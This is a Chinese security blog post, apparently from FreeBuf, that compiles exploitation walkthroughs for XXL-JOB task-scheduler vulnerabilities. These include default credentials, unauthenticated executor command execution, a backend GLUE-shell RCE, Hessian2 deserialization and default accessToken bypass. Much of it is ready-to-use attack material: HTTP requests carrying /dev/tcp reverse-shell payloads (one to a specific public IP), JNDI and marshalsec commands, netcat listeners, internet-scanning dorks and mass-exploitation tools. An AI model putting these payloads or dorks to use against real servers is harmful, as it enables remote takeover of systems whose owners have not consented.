XXL-JOB常见漏洞汇总
文章介绍了XXL-JOB分布式任务调度平台的常见安全漏洞及复现方法,包括弱口令、未授权访问、反序列化漏洞和默认accessToken权限绕过等,并提供了详细的poc代码和工具支持。 2025-10-14 09:29:47 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

前言

XXL-JOB常见漏洞汇总,将网上的poc整理然后部分复现笔记记录一下,大佬勿喷,可以直接跳过。
小白可以直接收藏下来学习一下很多poc都直接给出来了,重点看漏洞复现模块,基本就是我的笔记。
如果,有不对的可以指正一下,一起学习,演示地址均为国外地址或者靶场。

产品介绍

XXL-JOB是一个广受欢迎的分布式任务调度平台,核心解决在分布式微服务架构下的定时任务管理难题。它将任务调度行为与任务执行行为分离开,由一个统一的管理中心(调度中心)来动态触发和管理所有定时任务,而具体的业务逻辑则由分布在不同机器上的执行器来承载。这种设计带来了巨大的优势:开发者无需再关心任务在哪个节点运行,通过Web界面就能轻松完成任务的创建、启动、停止和监控,并支持灵活的调度路由、失败重试、报警机制和丰富的日志记录。凭借其开箱即用、学习成本低、高可用和易扩展的特点,XXL-JOB有效提升了分布式系统任务调度的可靠性与运维效率,成为许多企业构建稳定后台作业系统的首选技术组件。

XXL-JOB官网地址

https://www.xuxueli.com/xxl-job/

1760430139_68ee083bbb74d74bbbfc7.png!small?1760430139567

1760430148_68ee08441b85a8a44575f.png!small?1760430147820

资产测绘

fofa语法:

app="XXL-JOB"
title="任务调度中心"
icon_hash="1691956220"
body="jobconf_trigger_type"

body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

app="XXL-JOB" || title="任务调度中心" || icon_hash="1691956220" || body="jobconf_trigger_type"

1760430184_68ee0868221c61b4c501b.png!small?1760430184212

hunter语法:

app.name="XXL-JOB" 
title="任务调度中心"
body="jobconf_trigger_type"
web.icon=="421c7c35244591f892496fe4d6e51921"

body="{\"code\":500,\"msg\":\"invalid request, HttpMethod not support.\"}"

app.name="XXL-JOB"||title="任务调度中心"||body="jobconf_trigger_type"||web.icon=="421c7c35244591f892496fe4d6e51921"

1760430208_68ee088010841ba3dd6dc.png!small?1760430208096

弱口令漏洞

XXL-JOB 是一款基于 Java 开发的轻量级分布式任务调度平台,广泛应用于任务管理和调度。然而,若使用默认弱口令(如 admin/123456),可能导致严重的安全隐患,攻击者可通过后台权限执行任意代码甚至接管服务器。

漏洞复现

访问url地址看到这个页面可以直接确定是xxl-job

1760430374_68ee0926cb60f29d2511c.png!small?1760430374480

输入弱口令
admin/123456 成功进入后台

1760430454_68ee097653e20cba3e57f.png!small?1760430454071

有些情况可以配合后台漏洞进行getshell

XXL-JOB executor 未授权访问漏洞

漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

漏洞复现

直接访问靶场地址可以看到XXL-JOB 页面

1760430641_68ee0a31b1cda07310b6e.png!small?1760430642588

直接使用XXL-JOB executor 未授权访问漏洞的poc进行测试
因为是靶场我这里直接反弹shell,如果是实战的话可以执行命令访问dnslog地址或者
创建文件等操作,规避高风险操作。

首先使用tscan-plus生成反弹shell的poc

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 #127.0.0.1替换为vps地址 8888替换为vps监听端口

1760430879_68ee0b1f2bade67678ae5.png!small?1760430878964

然后服务器开启监听即可

nc -lvvp 8888

1760430985_68ee0b891404a7a83affd.png!small?1760430984760

漏洞poc

POST /run HTTP/1.1
Host:127.0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

1760431054_68ee0bcedd1a6a9804c50.png!small?1760431054792

成功getshell

1760431089_68ee0bf1743afa5fa0f74.png!small?1760431089240

XXL-JOB 任务调度中心 后台任意命令执行漏洞

漏洞描述

XXL-JOB 任务调度中心攻击者可以在后台可以通过写入 shell 命令任务调度获取服务器权限

漏洞复现

使用默认口令admin/123456登录之后来到任务管理处,按照蓝色箭头进行配置

1760431426_68ee0d42f03a9424dc5c3.png!small?1760431426730

注意运行模式需要为 GLUE(shell)

1760431461_68ee0d65988008adba18c.png!small?1760431461358

点击 GLUE IDE 编辑脚本

1760431478_68ee0d762ba4efb7a059b.png!small?1760431477811

回到任务管理器,选择任务,点击操作执行一次,之后查看dnslog服务器

1760431496_68ee0d8853114b9f8bd15.png!small?1760431496201

结果说明本台服务器即出网又可以命令执行,直接尝试反弹shell,修改glue ide脚本为反弹shell内容,然后再执行即可。

poc

#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/9999 <&1'

1760431628_68ee0e0cd0c690538c5cd.png!small?1760431628627

这个漏洞我之前成功过几次,但是没有截图,思路是正确的,可能图有点糊了。

XXL-JOB api未授权hessian2反序列化复现

漏洞描述

XXL-JOB 是一个分布式任务调度平台,其前后端之间通过 Hessian2 序列化协议传输数据,XXL-JOB 的/api接口允许未授权访问,攻击者可以构造恶意的 Hessian2 序列化数据并发送到服务端,导致反序列化漏洞。该漏洞主要影响 XXL-JOB 的早期版本(<= 2.0.2)

漏洞复现

访问链接地址看到XXL-JOB页面且版本较低进行poc尝试

1760431922_68ee0f32b5f07afded8dd.png!small?1760431922338

首先使用工具

工具地址:
https://github.com/welk1n/JNDI-Injection-Exploit

首先在vps执行命令,开启JNDI注入工具

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl [Address]:5555"

-A 0.0.0.0: 绑定到所有网络接口(监听所有IP)

-C "curl [Address]:5555": 要执行的恶意命令

当有漏洞的应用进行JNDI查询时

服务器会返回恶意Reference

客户端会从指定地址加载并执行恶意类

最终执行curl [Address]:5555命令

1760432570_68ee11ba112a607a6ac43.png!small?1760432570236

使用最后一个rmi://xxxx,配合下面的工具生成Hessian2反序列化的poc

工具地址
https://github.com/0ofo/marshalsec.jar

使用我这个链就可以

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://[RMI Address]:1099/stbjir >test.ser

marshalsec: 一个知名的Java反序列化漏洞利用工具

Hessian2: 使用Hessian2序列化格式

SpringAbstractBeanFactoryPointcutAdvisor: 利用Spring框架的反序列化gadget链

rmi://[RMI Address]:1099/stbjir: 恶意的RMI服务器地址

> test.ser: 将生成的恶意序列化数据保存到文件

生成恶意序列化数据

创建一个包含恶意指令的Hessian2序列化对象

利用Spring框架的漏洞链实现代码执行

触发攻击

当目标应用反序列化test.ser文件时

会连接到指定的RMI服务器

加载并执行恶意代码

服务器5555端口开启监听

nc -lvvp 5555

1760432883_68ee12f393edaaaba36e6.png!small?1760432883214

最终利用

在包含我们恶意文件的文件夹里面直接右键cmd执行命令

curl -X POST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8080/xxl-job-admin/api

curl: 命令行HTTP工具

-X POST: 使用POST方法

-H "Content-Type: x-application/hessian": 设置Content-Type为Hessian格式

--data-binary @test.ser: 上传之前生成的恶意序列化文件

http://localhost:8080/xxl-job-admin/api: 目标接口(XXL-JOB任务调度系统)

打完poc之后发现,vps被成功请求。

1760432980_68ee13543055d827d2647.png!small?1760432979990

我这里只是执行命令curl vps:5555,当然还有很多比较深入的实战利用比如getshell以及换别的链子之类的,大家可以自己进行查找,我这里只做简单分享,简单利用。

XXL-JOB默认accessToken权限绕过漏洞

漏洞描述

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。

漏洞复现

访问之后可以看到

1760433251_68ee14635361339e972c6.png!small?1760433255625

漏洞复现

直接使用poc访问dnslog地址

POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close

{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "ping 0n3fio.dnslog.cn","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

1760433397_68ee14f5ec03e156a5155.png!small?1760433398062

反弹shell

1760433408_68ee1500860bf016d6ea8.png!small?1760433408282

/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

反弹shell的poc地址

POST /run HTTP/1.1
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
User-Agent: Java/1.8.0_391
Host: 123.58.224.8:39234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 323
Connection: close

{"jobId": 287040,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "/bin/bash -i >& /dev/tcp/118.89.79.204/7889 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0}

1760433552_68ee15902c936739c0f5e.png!small?1760433552151

1760433560_68ee1598337e23fb2ae28.png!small?1760433560061

XXL-JOB案例实战

通过指纹探测或其他方法获取XXL-JOB目标后,进行访问可以看到登录页面,这个漏洞的简单利用,使用工具完全可以部分情况需要手动打poc比如内网等,这里我直接使用工具进行测试

1760433651_68ee15f3c84aa7fea8196.png!small?1760433651372

直接工具进行检测

1760433675_68ee160bdcd4acc118888.png!small?1760433676113

然后执行命令测试

1760433698_68ee1622095aaff73fbc2.png!small?1760433697955

反弹shell测试

使用tscan进行反弹shell的payload生成

1760433729_68ee16412aa2affe7d8ea.png!small?1760433728923

反弹shell

/bin/bash -i >& /dev/tcp/xxxx/7889 0>&1

接受shell

nc -lvvp 7889

1760433783_68ee167758e8566cc8d97.png!small?1760433783350

工具推荐

XXL-JOB ExploitGUI

工具简介


工具支持检测XXL-JOB多种常见漏洞,并且支持多种利用方式。工具提供直观友好的图像化界面,用户能够轻松进行操作和管理。支持空间测绘、批量扫描功能,用户可以同时对多个目标进行漏洞检测,极大地提高了扫描效率。还支持暂停扫描、终止扫描、自定义多线程扫描、自定义请求头、内置随机User-Agent头、http代理、socks代理、扫描结果导出为表格等等功能。

工具支持检测模块

XXL-JOB-Admin 默认登陆密码
XXL-JOB-Admin 后台RCE  ( 工具支持利用模块 :  内存马注入  )
XXL-JOB-Admin 前台api未授权 hessian2反序列化  ( 工具支持利用模块 :  命令执行 内存马注入  )
XXL-JOB-Executor Restful API 未授权访问命令执行  ( 工具支持利用模块 :  命令执行  )
XXL-JOB-Executor 默认accessToken权限绕过  ( 工具支持利用模块 :  命令执行  )

工具地址

https://github.com/charonlight/xxl-jobExploitGUI

单目标检测

1760433834_68ee16aa17b9c2674a4e9.png!small?1760433834256

批量检测

1760433855_68ee16bfeea09d6b1b9b1.png!small?1760433856377

Hessian2反序列化命令执行

1760433879_68ee16d74afe2b4f7f643.png!small?1760433879179

Hessian2反序列化注入内存马

1760433896_68ee16e8cda7748f9f954.png!small?1760433896730

其他利用可以看本工具的readme

afrog

afrog.exe -s xxl-job -pl

常用参数

-s #指定漏洞类型
-S #指定等级
-pl #列出相关poc
-T #指定多个目标文件
-t 指定单个目标

1760433941_68ee1715ae1cacf3bf31b.png!small?1760433941802

afrog.exe -s xxl-ob -T c:/xxx.txt -o c:/xxx.html

1760433955_68ee172383ba567d533d6.png!small?1760433958226

总结

在网络安全的世界里,停止学习就意味着落后,共勉!

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/452580.html
如有侵权请联系:admin#unsafe.sh